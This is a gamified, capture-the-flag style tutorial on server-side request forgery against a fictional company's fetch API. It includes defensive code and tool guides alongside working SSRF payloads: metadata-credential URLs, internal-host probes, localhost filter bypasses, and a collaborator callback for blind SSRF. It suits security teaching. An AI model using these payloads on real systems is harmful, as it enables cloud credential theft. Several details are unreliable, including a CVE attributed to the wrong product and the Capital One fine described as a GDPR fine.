SSRF Tutorial — Server-Side Request Forgery Hands-On

⚡

CAMPAIGN 3: THE GHOST PROTOCOL — OPERATION BLIND RELAY

SERVER-SIDE REQUEST FORGERY // TARGET: GHOST CAPITAL API

10

OWASP A10:2021 — SSRF — CAMPAIGN 3

SERVER-SIDE
REQUEST FORGERY

INTERNAL NETWORK ACCESS // CLOUD CREDENTIAL THEFT // FULL TAKEOVER

OPERATION BLIND RELAY

📡

SITUATION REPORT

CLASSIFIED

Nine Syndicate nodes are dark. One remains — Ghost Capital, a shell of Vantage Systems registered out of a Bucharest tower nobody visits. It launders the money that pays for every breach the Syndicate sells. Shut it down and Operation Blind Proxy is complete.

Ghost Capital built a document retrieval API for its operatives. You give the API a URL. The server fetches that URL and returns whatever it finds. Useful for downloading reports from internal servers.

The problem: the API accepts any URL. No checking. No restrictions.

The server making that request lives inside the Ghost Capital network. It can reach internal addresses that we cannot — admin panels, private databases, and the AWS cloud credential endpoint that gives out master keys to anyone asking from inside.

RELAY, the API architect, believes the private subnet stops outside attackers. He is right — it stops us from reaching it directly. But we are not going to reach it directly. We are going to make his own server do it for us.

THE DELIVERY BOY WHO NEVER SAYS NO

CHILD-LEVEL EXPLANATION

Imagine a trusted courier inside a company who can go anywhere inside the building. Whenever someone inside asks for something, the courier fetches it without question.

Now imagine someone gives the courier a harmless-looking request. But instead of going outside, the courier is tricked into visiting restricted internal rooms that outsiders can never access. The courier brings back whatever he finds there.

If a server fetches any URL you give it — and that server has access to a private internal network you cannot reach — what would you ask it to fetch first?

INTERCEPTED — RELAY COMMS

06:44 UTC

RELAY

"The Director can stop fretting. The retrieval API only works for authenticated users. Our internal services run on subnet 10.10.0.0/24 — completely unreachable from outside. No external attacker can touch our internal network through the API. Vantage paid me to build a fortress, and a fortress is what they got."

MENDAX

He just handed us the exact shape of his mistake, Shadow. RELAY's guarding the subnet from the outside — and forgetting his own API server already lives on the inside. Point it at 10.10.0.1 and it isn't us knocking. It's his own server. His own firewall waves it straight through.

MISSION OBJECTIVES

01

TARGET: The Ghost Capital document API (/api/fetch), run by RELAY — it fetches any URL you hand it from inside the private network

02

EXPLOIT: Point the server inward from the terminal — confirm SSRF, pivot to the internal admin panel, lift AWS cloud credentials, verify them

03

SWEEP: Classify every API endpoint in play — flag which ones can be turned inward and which are safe

04

WIN: Capture the field flag, then close it — the one defence that stops the server fetching where it shouldn't

⚠ ETHICAL NOTICE: SSRF is covered by CEH, OSCP, PortSwigger Web Academy, and every professional security certification. All interactions here are fully simulated against fictional infrastructure. Real SSRF testing requires explicit written authorisation from the system owner.

🔧 UNDER THE HOOD▼

THE ATTACK — STEP BY STEP

SSRF makes the server fetch a URL on your behalf — reaching internal services you can't reach directly. Classic AWS cloud metadata steal:

// Vulnerable endpoint: POST /api/fetch-url // Normal use: {"url": "https://example.com/image.jpg"} // Attack: POST /api/fetch-url {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"} // Server fetches the URL from inside the VPC and returns: { "AccessKeyId": "AKIA...", "SecretAccessKey": "...", "Token": "..." }

These credentials give full AWS API access. Similar endpoints exist on GCP (http://metadata.google.internal/) and Azure (http://169.254.169.254/metadata/instance).

COMMON VARIATIONS

1. Internal network scanning — use SSRF to discover and probe services inside the private network:

// Probe internal hosts: {"url": "http://10.0.0.1"} {"url": "http://192.168.1.1:8080/admin"} {"url": "http://internal-redis:6379"} // Redis responds with banner

2. Filter bypass techniques — when the server blocks obvious internal IPs:

http://2130706433/ (decimal encoding of 127.0.0.1) http://0x7f000001/ (hex encoding) http://127.1/ (shortened localhost) http://attacker.com/ (DNS resolves to 127.0.0.1)

3. Blind SSRF — no response returned, but detect via out-of-band DNS/HTTP to Burp Collaborator:

{"url": "http://YOUR_COLLABORATOR.oastify.com"}

HOW TO DEFEND

Server-side allowlist — but checking the hostname string alone is not enough. DNS resolves at request time, so http://attacker.com/ can point anywhere the attacker wants, including 127.0.0.1 — the exact bypass in the box above. The hostname must be resolved, the resulting IP validated, and that same IP used for the actual connection (never re-resolved), or an attacker can swap the DNS answer between your check and your fetch:

// Node.js defense const dns = require('dns').promises; const net = require('net'); const ALLOWED_HOSTS = ['trusted-cdn.com', 'partner-api.com']; function isPrivateOrLinkLocal(ip) { // Blocks loopback, RFC1918 private ranges, and the // 169.254.0.0/16 link-local range (AWS/GCP/Azure metadata) return /^(127\.|10\.|192\.168\.|169\.254\.|172\.(1[6-9]|2\d|3[01])\.)/.test(ip) || ip === '::1'; } async function safeFetch(urlString) { const url = new URL(urlString); // throws on invalid URL // 1. Allowlist the hostname itself first if (!ALLOWED_HOSTS.includes(url.hostname)) { throw new Error('Host not in allowlist'); } // 2. Resolve DNS and validate the ACTUAL destination IP — // a hostname string alone proves nothing about where it points const { address } = await dns.lookup(url.hostname); if (isPrivateOrLinkLocal(address)) { throw new Error('Forbidden destination (resolves to internal range)'); } // 3. Connect using the already-validated IP, not the hostname again — // if the HTTP client re-resolves the hostname itself, a DNS // rebinding attack can swap the answer between step 2 and the // real request. Most HTTP libraries support pinning the connection // IP while still sending the correct Host header for TLS/SNI. return fetchWithPinnedIP(urlString, address); }

Also: disable HTTP redirects in your fetch client (a 3xx response can redirect to an internal address after the checks above already passed), and run your fetch worker in a network namespace or sandboxed egress proxy with no route to internal services as a defense-in-depth backstop.

⚡ CYBER RANGE — ACTIVE ENVIRONMENT

LIVE

TARGET

ghost-capital-api.ghost-capital.int

IP ADDRESS

10.47.1.10

OS / SERVER

Ubuntu 22.04 · Node.js/18.x

KEY SERVICES

Express.js · /api/fetch endpoint · AWS EC2 instance

ATTACK SCOPE

Internal network + AWS metadata 169.254.169.254 in scope

ATTACKER NODE

shadow@sigma9 · 10.99.0.1

📋 ROOM TASKS

01

✓

Understand why server-side fetching bypasses firewalls

02

▶

Pivot through SSRF to steal AWS IAM credentials

03

○

Classify SSRF-vulnerable vs safe URL fetch patterns

04

○

Identify the domain-allowlist fix

05

○

Submit the capture-the-flag token

🚩

CAPTURE THE FLAG

Complete the exploit lab. The flag appears in the terminal output. Copy and submit it here for +50 XP.

PHASE 01

POINT THE SERVER INWARD

MCQ

MENDAX

ENCRYPTED

You just handed the Ghost Capital document API an internal address — and it fetched it for you. The endpoint takes any URL you give it:

GET /api/fetch?url=https://reports.gc.internal/q3.pdf

You swapped that URL for one only the server can reach, and the content came right back. The server made the request — not your browser. It lives inside the Ghost Capital network, so it can touch internal addresses you never could from outside.

RELAY swore the internal subnet was unreachable from outside. True — for you. But you just reached it anyway, through the server.

You just turned the server into your proxy. Now make the call: what handed you that access?

MENDAX — HOW THIS IS ACTUALLY DONE

LIVE

MENDAX

Real method, standard SSRF testing against this authorised, fictional target. The API will fetch any URL I give it — so I point it inward, at an address only the server can reach. The classic probe is the cloud metadata endpoint:

$ curl "https://ghostcap.int/api/fetch?url=\
http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# the server fetches it for us and hands back:
{ "AccessKeyId":"AKIA...", "SecretAccessKey":"..." }

MENDAX

We never touched that internal address — the server did, because it trusted our URL. That's Server-Side Request Forgery. The fix is to validate and allow-list outbound URLs. First, you explain exactly why it works.

TAP AN ANSWER — EXPLANATION APPEARS IMMEDIATELY

MENDAX — HINT (−20 XP)

Think about who makes the HTTP request. When you call /api/fetch?url=http://10.10.0.1/ — is it your computer that fetches that URL, or the Ghost Capital server? And which one has internal network access?

✓

SSRF MECHANISM UNDERSTOOD

The server makes the fetch request using its own identity. It is inside the Ghost Capital network. It can reach 10.10.0.0/24 directly. When it fetches a URL we chose and hands us back the response — it became our delivery boy into the private compound.

Simple version: We handed the delivery boy an address inside the private area. He has a staff pass. He walked straight in and brought everything back. RELAY locked the front gate. He forgot the delivery boy already works inside.

Real world: The 2019 Capital One breach used exactly this. An attacker made a cloud server fetch the AWS metadata endpoint from inside. It returned temporary credentials. 100 million customer records were accessed. $80 million in fines. One URL parameter with no validation.

PHASE 02

ESCALATE — FROM SSRF TO CLOUD TAKEOVER

TERMINAL

SSRF is confirmed. The server fetches any URL we supply — including ones it should never be able to reach from the outside. Four commands, four pivots, full cloud takeover.

MISSION OBJECTIVERun confirm to verify internal network SSRF access, pivot to hit the internal admin panel, metadata to extract AWS IAM credentials from the cloud metadata endpoint, then takeover to verify the stolen keys against live AWS infrastructure.

MENDAX

ENCRYPTED

We are authenticated to the Ghost Capital API. Now we escalate — one step at a time.

Step 1 — Confirm: Prove SSRF is real. Make the server fetch an internal IP.
Step 2 — Pivot: Go deeper. Hit the internal admin panel.
Step 3 — Metadata: Go for the jackpot. Hit the AWS cloud credential endpoint.
Step 4 — Takeover: Use the credentials. Verify they work against real AWS.

Think of the delivery boy: first you send him to the post room to check he can get in. Then the finance office. Then the master key cabinet. Each step opens the next.

Type each command: confirm → pivot → metadata → takeover

shadow@ghost-capital — SSRF ESCALATION TERMINAL

▶ GHOST CAPITAL API — AUTHENTICATED SESSION ACTIVE
Endpoint: GET /api/fetch?url=[ANY URL YOU SUPPLY]
The server fetches that URL using its own internal network access.
Commands available: confirm | pivot | metadata | takeover
shadow@gc:~$ █

shadow@gc:~$

MENDAX — HINT (−20 XP)

Four steps in order — confirm to prove SSRF exists by hitting an internal IP, pivot to reach the internal admin panel, metadata to hit the AWS credential endpoint at 169.254.169.254, takeover to verify the credentials work.

✓

GHOST CAPITAL CLOUD CREDENTIALS STOLEN

Four terminal commands. Internal network confirmed. Admin panel contents read. AWS credentials extracted and verified. Ghost Capital's entire cloud infrastructure is now accessible.

Simple version: The delivery boy went to the post room, then the finance office, then the master key cabinet — and brought everything back each time. RELAY protected the front gate. He forgot the delivery boy already works inside.

Every request looked exactly like a normal API call from a legitimate user. No alarms. No errors. Just a URL with no validation.

Real world: Capital One 2019 — SSRF hit the AWS metadata endpoint. Credentials returned. 100 million records accessed. $80 million fine. The entire attack was one unvalidated URL parameter.

PHASE 03

WHICH ENDPOINTS ARE SSRF RISKS?

CLASSIFY

Cloud credentials extracted. Before the patch goes in, map every API endpoint that could have been used for the same attack — defenders who block only one entry point leave all the others open.

MENDAX

ENCRYPTED

MENDAX pulled a list of API features from different NEXUS platforms. Some can be used for SSRF. Some cannot.

Tap a configuration to select it. Then mark it SSRF RISK if a user-supplied URL could make the server fetch internal resources. Mark it SAFE if the user cannot control where the server makes requests.

One simple question: does the user control the URL or hostname that the server then fetches? If yes — SSRF risk. If the URL is hardcoded or from a trusted allowlist — safe.

TAP A CONFIG — THEN CLASSIFY IT

Select an endpoint above

⚠ SSRF RISK

✓ SAFE

MENDAX — HINT (−20 XP)

Ask one question: does the user control the URL that the server uses to make an HTTP request? If the user can supply any URL — SSRF risk. If the server generates the URL itself from a hardcoded value or approved list — safe.

✓

ALL ENDPOINTS CORRECTLY CLASSIFIED

You can now spot an SSRF-vulnerable endpoint on sight.

The pattern: Any feature where the user supplies a URL and the server fetches it is a potential SSRF risk. Safe configurations remove the user's ability to choose the destination — hardcoded URLs, approved allowlists, or no outbound requests at all.

Common SSRF surfaces: Document fetchers, URL previewers, PDF exporters (server renders the page), webhook testers, image importers, link shorteners. If it makes the server go get something from a URL — test it.

PHASE 04

CLOSE THE DOOR — THE RIGHT FIX

DEFENSE

RELAY is down. One architectural decision created this entire chain — a server that fetches any URL without asking who owns it. Lock it down correctly and the attack never starts.

MENDAX — FINAL DEBRIEF

LAST PHASE

RELAY is in custody. Ghost Capital is dark. Ghost Protocol advances — one question away from complete.

MENDAX: "Shadow — last question. RELAY's replacement is in front of the board right now proposing a fix. The API still needs to fetch external documents for legitimate operatives. It just needs to stop fetching internal addresses. Which single change would have stopped every request we made today?"

WHICH FIX STOPS SSRF?

MENDAX — HINT (−20 XP)

Think about WHY the attack worked: the server fetched any URL we gave it. The right fix checks the destination before fetching. Which option defines exactly what IS allowed — so internal IPs and the metadata endpoint are automatically rejected before any request is made?

► INTEL — OP-10 // OPERATION BLIND RELAY

TARGET: NEXUS Internal Proxy Service

Classification: TOP SECRET // Campaign 3 Ghost Protocol

MENDAX — CHANNEL BRIEFING

PRE-OP

MENDAX

The webhook processor accepts a URL parameter and fetches it server-side. No whitelist. Accepts file://, dict://, and http://169.254.169.254 (AWS metadata endpoint).

📓

OWASP CLASSIFICATION

INTEL

A10:2021 — SSRF lets an attacker make the server perform requests to internal infrastructure inaccessible from the outside. Impact: internal service enumeration, cloud credential theft.

⚖

GLOSSARY TERMS: SSRF, Server-Side Request Forgery, AWS Metadata, IMDSv1, URL Whitelist, DNS Rebinding. All terms auto-logged to your Field Manual as you encounter them.

ACADEMY — SERVER-SIDE REQUEST FORGERY

YOU GIVE THE ADDRESS.
THEIR SERVER GOES THERE FOR YOU.

BEGINNERWhat Is SSRF?›

SSRF — Server-Side Request Forgery — happens when a server makes an HTTP request based on a URL that a user controls. The server uses its own network access to make that request — which includes internal services you cannot reach from outside.

Simple version: a website lets you paste a URL and it shows you a preview. The server fetches that URL behind the scenes. You paste an internal address — http://10.0.0.1/admin. The server fetches it and shows you the result. You just read an internal service through the server.

The attacker never broke a firewall. They just handed the delivery boy the wrong address — and the delivery boy went.

Real world: Capital One 2019 — SSRF to the AWS metadata endpoint. 100 million customer records accessed. $80 million fine. One unvalidated URL parameter caused one of the largest data breaches in history.

INTERMEDIATEAttack Techniques›

Basic internal access:
/api/fetch?url=http://10.0.0.1/admin
Server fetches the internal admin panel and returns the HTML

Cloud credential theft:
/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Returns temporary AWS access keys — works from inside the cloud server only

Blind SSRF:
Server fetches the URL but shows you nothing. Use a callback URL on a server you control. When the target server fetches it, you see the request in your logs.

Filter bypass techniques:
Decimal IP: http://2130706433 = 127.0.0.1
Hex: http://0x7f000001 = 127.0.0.1
Redirect chain: your server redirects to the internal IP after the URL passes the filter
IPv6 localhost: http://[::1]

EXPERTDefences and Real CVEs›

The correct fix — allowlist outbound destinations:
Resolve the target URL first. Check the resulting IP against a list of approved destinations. Internal IPs and the metadata endpoint are never on the list — request rejected before it is made.

Additional layers:
Disable HTTP redirects in the fetch client — stops redirect-chain bypass
Block all outbound requests from web server processes by default
Use AWS IMDSv2 — requires a session token before returning credentials
Network-level blocking: prevent the web server process from reaching 169.254.x.x

Notable CVEs:
CVE-2019-11043 — SSRF in GitLab allowing internal network access
CVE-2021-21973 — SSRF in VMware vCenter, CVSS 5.3
CVE-2022-0540 — SSRF in Jira Server
CVE-2021-26855 — Exchange Server SSRF, exploited in HAFNIUM campaign

Capital One 2019: A WAF was misconfigured to forward requests to an EC2 metadata service. SSRF retrieved IAM credentials with S3 read access. 100 million US and 6 million Canadian customer applications downloaded. $80 million GDPR fine. One unvalidated URL.

REAL-WORLD TOOLS — SSRF

WHAT PROFESSIONALS USE

🔍

Burp Suite

FREE TIER

Intercept any request containing a URL parameter in Burp Repeater. Change it to internal addresses — 127.0.0.1, 10.x.x.x, 169.254.169.254. Watch for different response lengths or content that reveals internal data.

Proxy → Intercept → Edit url= parameter → Repeater → Test internal IPs

🌐

Interactsh

FREE / OPEN SOURCE

For blind SSRF where the API shows no output. Get a unique callback URL from Interactsh. Submit it as the SSRF target URL. When the server fetches it — you see the request in your dashboard. SSRF confirmed.

interactsh-client → copy URL → submit as url= value → watch for HTTP/DNS hit

🔥

SSRFmap

FREE / OPEN SOURCE

Automated SSRF scanner. Tests internal addresses, cloud metadata endpoints, and bypass techniques automatically. Feed it the intercepted request and target parameter.

python3 ssrfmap.py -r request.txt -p url -m readfiles

🌊

OWASP ZAP

FREE / OPEN SOURCE

Active scan detects SSRF in URL parameters automatically across an entire application. Good for initial reconnaissance before manual testing with Burp.

Active Scan → Server Side Request Forgery → View alerts